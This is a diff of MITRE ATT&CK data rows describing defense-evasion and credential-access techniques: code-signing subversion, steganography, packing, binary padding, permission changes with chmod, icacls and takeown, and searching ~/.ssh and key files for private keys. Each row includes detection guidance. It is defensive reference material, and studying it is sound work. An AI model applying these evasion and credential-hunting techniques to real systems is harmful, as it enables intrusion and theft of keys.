'Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.', 'url': 'https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf'}, {'source_name': 'Securelist Digital Certificates', 'description': 'Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.', 'url': 'https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/'}, {'source_name': 'Symantec Digital Certificates', 'description': 'Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.', 'url': 'http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates'}, {'source_name': 'SpectorOps Code Signing Dec 2017', 'description': 'Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.', 'url': 'https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Command: Command Execution', 'File: File Metadata', 'File: File Modification', 'Module: Module Load']","['Application control', 'Anti-virus', 'Autoruns Analysis', 'Digital Certificate Validation', 'Process whitelisting', 'User Mode Signature Validation', 'Windows User Account Control']","Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure ""Hide Microsoft Entries"" and ""Hide Windows Entries"" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017) -Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. ",,,,,False,,,,"['Windows', 'macOS', 'Linux']",,,,1.0 -2020-02-05 14:28:16.719000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files. +Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. ",False,,"['Windows', 'macOS', 'Linux']",1.1,,,,,,, +attack-pattern,attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-05T14:28:16.719Z,2021-10-15T16:46:56.760Z,Steganography,"Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files. [Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) -By the end of 2017, a threat group used Invoke-PSImage to hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1027/003', external_id='T1027.003'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/636.html', external_id='CAPEC-636'), ExternalReference(source_name='Wikipedia Duqu', description='Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.', url='https://en.wikipedia.org/wiki/Duqu'), ExternalReference(source_name='McAfee Malicious Doc Targets Pyeongchang Olympics', description='Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.', url='https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/')]",attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-09-16 19:24:20.350000+00:00,Steganography,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['File: File Content'],,,,,Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings are other signatures left in system artifacts related to decoding steganography.,,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.1 -2020-02-05 14:17:46.686000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) +By the end of 2017, a threat group used Invoke-PSImage to hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1027/003', 'external_id': 'T1027.003'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/636.html', 'external_id': 'CAPEC-636'}, {'source_name': 'Wikipedia Duqu', 'description': 'Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.', 'url': 'https://en.wikipedia.org/wiki/Duqu'}, {'source_name': 'McAfee Malicious Doc Targets Pyeongchang Olympics', 'description': 'Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.', 'url': 'https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Metadata'],,Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography.,True,,"['Linux', 'macOS', 'Windows']",1.2,,,,,,, +attack-pattern,attack-pattern--deb98323-e13f-4b0c-8d94-175379069062,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-05T14:17:46.686Z,2021-10-15T13:56:47.154Z,Software Packing,"Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) -Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1027/002', external_id='T1027.002'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/570.html', external_id='CAPEC-570'), ExternalReference(source_name='ESET FinFisher Jan 2018', description=""Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019."", url='https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf'), ExternalReference(source_name='Wikipedia Exe Compression', description='Executable compression. (n.d.). Retrieved December 4, 2014.', url='http://en.wikipedia.org/wiki/Executable_compression')]",attack-pattern--deb98323-e13f-4b0c-8d94-175379069062,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-02-05 20:05:41.548000+00:00,Software Packing,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Filip Kafka, ESET']","['File: File Metadata', 'File: File Content']","['Anti-virus', 'Heuristic detection', 'Signature-based detection']",,,,"Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.",,,,,True,,,,"['macOS', 'Windows']",,,,1.0 -2020-02-05 14:04:25.865000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. +Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1027/002', 'external_id': 'T1027.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/570.html', 'external_id': 'CAPEC-570'}, {'source_name': 'ESET FinFisher Jan 2018', 'description': ""Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019."", 'url': 'https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf'}, {'source_name': 'Wikipedia Exe Compression', 'description': 'Executable compression. (n.d.). Retrieved December 4, 2014.', 'url': 'http://en.wikipedia.org/wiki/Executable_compression'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Filip Kafka, ESET']",['File: File Metadata'],"['Anti-virus', 'Heuristic detection', 'Signature-based detection']","Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.",True,,"['macOS', 'Windows']",1.1,,,,,,, +attack-pattern,attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-05T14:04:25.865Z,2021-10-15T13:53:02.135Z,Binary Padding,"Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. -Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1027/001', external_id='T1027.001'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/572.html', external_id='CAPEC-572'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/655.html', external_id='CAPEC-655'), ExternalReference(source_name='ESET OceanLotus', description='Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.', url='https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/'), ExternalReference(source_name='Securelist Malware Tricks April 2017', description='Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019.', url='https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/'), ExternalReference(source_name='VirusTotal FAQ', description='VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.', url='https://www.virustotal.com/en/faq/')]",attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-09-17 18:25:33.828000+00:00,Binary Padding,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Martin Jirkal, ESET']","['File: File Metadata', 'File: File Content']","['Anti-virus', 'Signature-based detection']",,,,"Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file. ",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.1 -2020-02-04 19:24:27.774000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). +Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1027/001', 'external_id': 'T1027.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/572.html', 'external_id': 'CAPEC-572'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/655.html', 'external_id': 'CAPEC-655'}, {'source_name': 'ESET OceanLotus', 'description': 'Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.', 'url': 'https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/'}, {'source_name': 'Securelist Malware Tricks April 2017', 'description': 'Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019.', 'url': 'https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/'}, {'source_name': 'VirusTotal FAQ', 'description': 'VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.', 'url': 'https://www.virustotal.com/en/faq/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Martin Jirkal, ESET']",['File: File Metadata'],"['Anti-virus', 'Signature-based detection']","Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file. ",True,,"['Linux', 'macOS', 'Windows']",1.2,,,,,,, +attack-pattern,attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-04T19:24:27.774Z,2021-09-13T21:08:09.985Z,Linux and Mac File and Directory Permissions Modification,"Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode). -Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1222/002', external_id='T1222.002'), ExternalReference(source_name='Hybrid Analysis Icacls1 June 2018', description='Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.', url='https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100'), ExternalReference(source_name='Hybrid Analysis Icacls2 May 2018', description='Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.', url='https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110')]",attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-03-29 23:12:40.041000+00:00,Linux and Mac File and Directory Permissions Modification,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'File: File Metadata']",,,,,"Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. +Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1222/002', 'external_id': 'T1222.002'}, {'source_name': 'Hybrid Analysis Icacls1 June 2018', 'description': 'Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.', 'url': 'https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100'}, {'source_name': 'Hybrid Analysis Icacls2 May 2018', 'description': 'Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.', 'url': 'https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110'}, {'source_name': '20 macOS Common Tools and Techniques', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.', 'url': 'https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'File: File Metadata']",,"Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include chmod +x, chmod -R 755, and chmod 777.(Citation: 20 macOS Common Tools and Techniques) -Consider enabling file/directory permission change auditing on folders containing key binary/configuration files.",,,,,True,,,"['User', 'root']","['macOS', 'Linux']",,,,1.0 -2020-02-04 19:17:41.767000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). +Consider enabling file/directory permission change auditing on folders containing key binary/configuration files.",True,"['User', 'root']","['macOS', 'Linux']",1.1,,,,,,, +attack-pattern,attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-04T19:17:41.767Z,2020-09-01T20:05:05.268Z,Windows File and Directory Permissions Modification,"Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018) -Adversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1222/001', external_id='T1222.001'), ExternalReference(source_name='Hybrid Analysis Icacls1 June 2018', description='Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.', url='https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100'), ExternalReference(source_name='Hybrid Analysis Icacls2 May 2018', description='Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.', url='https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110'), ExternalReference(source_name='Microsoft DACL May 2018', description='Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018.', url='https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces'), ExternalReference(source_name='Microsoft Access Control Lists May 2018', description='M. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved February 4, 2020.', url='https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists'), ExternalReference(source_name='EventTracker File Permissions Feb 2014', description='Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.', url='https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/')]",attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-09-01 20:05:05.268000+00:00,Windows File and Directory Permissions Modification,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'Active Directory: Active Directory Object Modification', 'File: File Metadata']",,,,,"Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. +Adversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1222/001', 'external_id': 'T1222.001'}, {'source_name': 'Hybrid Analysis Icacls1 June 2018', 'description': 'Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.', 'url': 'https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100'}, {'source_name': 'Hybrid Analysis Icacls2 May 2018', 'description': 'Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.', 'url': 'https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110'}, {'source_name': 'Microsoft DACL May 2018', 'description': 'Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018.', 'url': 'https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces'}, {'source_name': 'Microsoft Access Control Lists May 2018', 'description': 'M. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved February 4, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists'}, {'source_name': 'EventTracker File Permissions Feb 2014', 'description': 'Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.', 'url': 'https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Active Directory: Active Directory Object Modification', 'File: File Metadata']",,"Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. -Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)",,,,,True,,,"['User', 'Administrator', 'SYSTEM']",['Windows'],,,,1.1 -2020-02-04 13:06:49.258000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. +Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)",True,"['User', 'Administrator', 'SYSTEM']",['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-04T13:06:49.258Z,2020-03-29T21:36:36.613Z,Private Keys,"Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia) -Some private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1552/004', external_id='T1552.004'), ExternalReference(source_name='Wikipedia Public Key Crypto', description='Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.', url='https://en.wikipedia.org/wiki/Public-key_cryptography'), ExternalReference(source_name='Kaspersky Careto', description='Kaspersky Labs. (2014, February 11). Unveiling “Careto” - The Masked APT. Retrieved July 5, 2017.', url='https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf'), ExternalReference(source_name='Palo Alto Prince of Persia', description='Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia – Game Over. Retrieved July 5, 2017.', url='https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/')]",attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-03-29 21:36:36.613000+00:00,Private Keys,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Itzik Kotler, SafeBreach']","['File: File Access', 'Command: 